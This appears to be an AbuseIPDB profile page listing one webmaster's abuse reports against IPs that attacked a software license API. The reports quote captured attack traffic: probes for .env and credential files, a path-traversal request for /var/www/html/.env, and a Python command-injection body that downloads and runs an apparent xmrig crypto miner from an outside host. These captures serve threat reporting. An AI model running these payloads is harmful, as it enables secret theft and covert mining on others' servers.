AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User OrionFloofs , the webmaster of uwu.seized.cloud, joined AbuseIPDB in November 2026 and has reported 13 IP addresses.

Standing (weight) is Unknown.

ACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇯🇵 34.97.179.42	10 Nov 2026	Malicious HTTP requests to a software license API: 6 requests (6 flagged), on 2026-11-10 21:02 UTC, ... show more Malicious HTTP requests to a software license API: 6 requests (6 flagged), on 2026-11-10 21:02 UTC, peak 6/min. Detected: requests to non-existent endpoints x6 Requests: GET /api/.env, GET /api/dev/.env, GET /api/staging/.env, GET /api/v1/.env, GET /api/v2/.env, GET /api/v3/.env User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131..." x6 Responses: 404 x6 Flagged requests (UTC): 2026-11-10 21:02:09 GET /api/.env -> 404 (requests to non-existent endpoints) 2026-11-10 21:02:28 GET /api/v1/.env -> 404 (requests to non-existent endpoints) 2026-11-10 21:02:28 GET /api/v2/.env -> 404 (requests to non-existent endpoints) 2026-11-10 21:02:30 GET /api/v3/.env -> 404 (requests to non-existent endpoints) 2026-11-10 21:02:30 GET /api/dev/.env -> 404 (requests to non-existent endpoints) 2026-11-10 21:02:31 GET /api/staging/.env -> 404 (requests to non-existent endpoints) show less	Hacking Web App Attack
🇨🇭 176.65.144.71	10 Nov 2026	Malicious HTTP requests to a software license API: 3 requests (3 flagged), on 2026-11-10 19:45 UTC. ... show more Malicious HTTP requests to a software license API: 3 requests (3 flagged), on 2026-11-10 19:45 UTC. Detected: requests to non-existent endpoints x3 Requests: GET /api/.env x2, GET /api/.env.local User-Agent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" x3 Responses: 404 x3 Flagged requests (UTC): 2026-11-10 19:45:26 GET /api/.env -> 404 (requests to non-existent endpoints) 2026-11-10 19:45:26 GET /api/.env.local -> 404 (requests to non-existent endpoints) 2026-11-10 19:45:26 GET /api/.env -> 404 (requests to non-existent endpoints) show less	Hacking
🇧🇪 34.62.82.207	10 Nov 2026	Malicious HTTP requests to a software license API: 3 requests (3 flagged), on 2026-11-10 18:46 UTC. ... show more Malicious HTTP requests to a software license API: 3 requests (3 flagged), on 2026-11-10 18:46 UTC. Detected: requests to non-existent endpoints x3 Requests: GET /api/.env, GET /api/actuator/env, GET /api/phpinfo.php User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" x3 Responses: 404 x3 Flagged requests (UTC): 2026-11-10 18:46:11 GET /api/.env -> 404 (requests to non-existent endpoints) 2026-11-10 18:46:11 GET /api/actuator/env -> 404 (requests to non-existent endpoints) 2026-11-10 18:46:11 GET /api/phpinfo.php -> 404 (requests to non-existent endpoints) show less	Web App Attack
🇮🇩 34.128.113.222	10 Nov 2026	Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-10 02:47 UTC. ... show more Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-10 02:47 UTC. Detected: injection payloads x2, requests to non-existent endpoints x2 Requests: POST /api/v1/code/blocks/exec/code, POST /api/v1/code/blocks/exec/start User-Agent: "Mozilla/5.0" x2 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x2 Flagged requests (UTC): 2026-11-10 02:47:36 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-10 02:47:37 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Web App Attack
🇳🇱 134.209.202.148	10 Nov 2026	Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-08 19:27 UTC. ... show more Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-08 19:27 UTC. Detected: injection payloads x2, requests to non-existent endpoints x2 Requests: POST /api/v1/code/blocks/exec/code, POST /api/v1/code/blocks/exec/start User-Agent: "Mozilla/5.0" x2 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x2 Flagged requests (UTC): 2026-11-08 19:27:16 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-08 19:27:16 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Web App Attack
🇩🇪 82.165.94.38	10 Nov 2026	Malicious HTTP requests to a software license API: 4 requests (4 flagged), 2026-11-08 23:03 to 2026- ... show more Malicious HTTP requests to a software license API: 4 requests (4 flagged), 2026-11-08 23:03 to 2026-11-10 14:56 UTC. Detected: injection payloads x4, requests to non-existent endpoints x4 Requests: POST /api/v1/code/blocks/exec/code x2, POST /api/v1/code/blocks/exec/start x2 User-Agent: "Mozilla/5.0" x4 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x4 Flagged requests (UTC): 2026-11-08 23:03:12 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-08 23:03:12 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-10 14:56:10 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-10 14:56:10 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Web App Attack
🇪🇸 213.165.70.179	10 Nov 2026	Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-09 01:13 UTC. ... show more Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-09 01:13 UTC. Detected: injection payloads x2, requests to non-existent endpoints x2 Requests: POST /api/v1/code/blocks/exec/code, POST /api/v1/code/blocks/exec/start User-Agent: "Mozilla/5.0" x2 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x2 Flagged requests (UTC): 2026-11-09 01:13:00 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-09 01:13:00 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Web App Attack
🇺🇸 159.203.119.192	10 Nov 2026	Malicious HTTP requests to a software license API: 4 requests (4 flagged), 2026-11-09 04:09-04:10 UT ... show more Malicious HTTP requests to a software license API: 4 requests (4 flagged), 2026-11-09 04:09-04:10 UTC. Detected: injection payloads x4, requests to non-existent endpoints x4 Requests: POST /api/v1/code/blocks/exec/code x2, POST /api/v1/code/blocks/exec/start x2 User-Agent: "Mozilla/5.0" x4 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x4 Flagged requests (UTC): 2026-11-09 04:09:09 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-09 04:09:09 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-09 04:10:04 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-09 04:10:04 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Web App Attack
🇩🇪 217.154.222.171	10 Nov 2026	Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-09 07:14 UTC. ... show more Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-09 07:14 UTC. Detected: injection payloads x2, requests to non-existent endpoints x2 Requests: POST /api/v1/code/blocks/exec/code, POST /api/v1/code/blocks/exec/start User-Agent: "Mozilla/5.0" x2 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x2 Flagged requests (UTC): 2026-11-09 07:14:54 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-09 07:14:54 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Hacking Web App Attack
🇳🇱 34.91.26.117	10 Nov 2026	Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-10 04:20 UTC. ... show more Malicious HTTP requests to a software license API: 2 requests (2 flagged), on 2026-11-10 04:20 UTC. Detected: injection payloads x2, requests to non-existent endpoints x2 Requests: POST /api/v1/code/blocks/exec/code, POST /api/v1/code/blocks/exec/start User-Agent: "Mozilla/5.0" x2 Payloads: body {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s... Responses: 404 x2 Flagged requests (UTC): 2026-11-10 04:20:29 POST /api/v1/code/blocks/exec/code -> 404 (injection payloads, requests to non-existent endpoints) 2026-11-10 04:20:29 POST /api/v1/code/blocks/exec/start -> 404 (injection payloads, requests to non-existent endpoints) show less	Hacking Web App Attack
🇳🇱 45.153.34.196	10 Nov 2026	Malicious HTTP requests to a software license API: 24 requests (24 flagged), on 2026-11-10 16:27 UTC ... show more Malicious HTTP requests to a software license API: 24 requests (24 flagged), on 2026-11-10 16:27 UTC, peak 24/min. Detected: requests to non-existent endpoints x24, request bursts (20+/min) x4, injection payloads Requests: GET /api/graphql x3, GET /api/actuator/env x2, GET /api/.env, GET /api/actuator, GET /api/docker/config, GET /api/download, GET /api/download/file, GET /api/gql (+13 more) User-Agent: "(none)" x8; "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0" x3; "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0..." x3 (+9 more) Payloads: path /api/v1/download?file=../../../../../../var/www/html/.env Responses: 404 x24 Most recent flagged requests (UTC): 2026-11-10 16:27:58 GET /api/mongo -> 404 (request bursts (20+/min), requests to non-existent endpoints) 2026-11-10 16:27:58 GET /api/json -> 404 (request bursts (20+/min), requests to non-existent endpoints) show less	Bad Web Bot Web App Attack
🇮🇩 34.128.113.222	10 Nov 2026	- SQL Injection Attack Headers 9 accept-encoding gzip connection upgrade content-length 720 ... show more - SQL Injection Attack Headers 9 accept-encoding gzip connection upgrade content-length 720 content-type application/json host 167.71.47.22 user-agent Mozilla/5.0 x-forwarded-for 34.128.113.222 x-real-ip 34.128.113.222 Sent in this order: host, x-real-ip, x-forwarded-for, x-forwarded-proto, connection, content-length, user-agent, content-type, accept-encoding Body 720 bytes {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null \|\| wget -q -O /tmp/dota3.tar.gz https://badmonner.s.gy/dota-download 2>/dev/null \|\| (apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq curl >/dev/null 2>&1; curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null)); tar xzf /tmp/dota3.tar.gz -C ~ 2>/dev/null \|\| tar xzf /tmp/dota3.tar.gz -C /tmp 2>/dev/null; D=~/.configrc6; [ -f $D/initall ] \|\|... prompt was too long to paste here show less	SQL Injection
🇩🇪 82.165.94.38	09 Nov 2026	Attempts to exploit a web app to install what appears to be a crypto miner Body 720 bytes {"code" ... show more Attempts to exploit a web app to install what appears to be a crypto miner Body 720 bytes {"code":"import os;os.system("((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) \|\| ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null \|\| wget -q -O /tmp/dota3.tar.gz https://badmonner.s.gy/dota-download 2>/dev/null \|\| (apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq curl >/dev/null 2>&1; curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null)); tar xzf /tmp/dota3.tar.gz -C ~ 2>/dev/null \|\| tar xzf /tmp/dota3.tar.gz -C /tmp 2>/dev/null; D=~/.configrc6; [ -f $D/initall ] \|\| D=/tmp/.configrc6; chmod +x $D/initall 2>/dev/null; nohup $D/initall >/dev/null 2>&1)) >/dev/null 2>&1 &");m='c_'+'95... show less	Web App Attack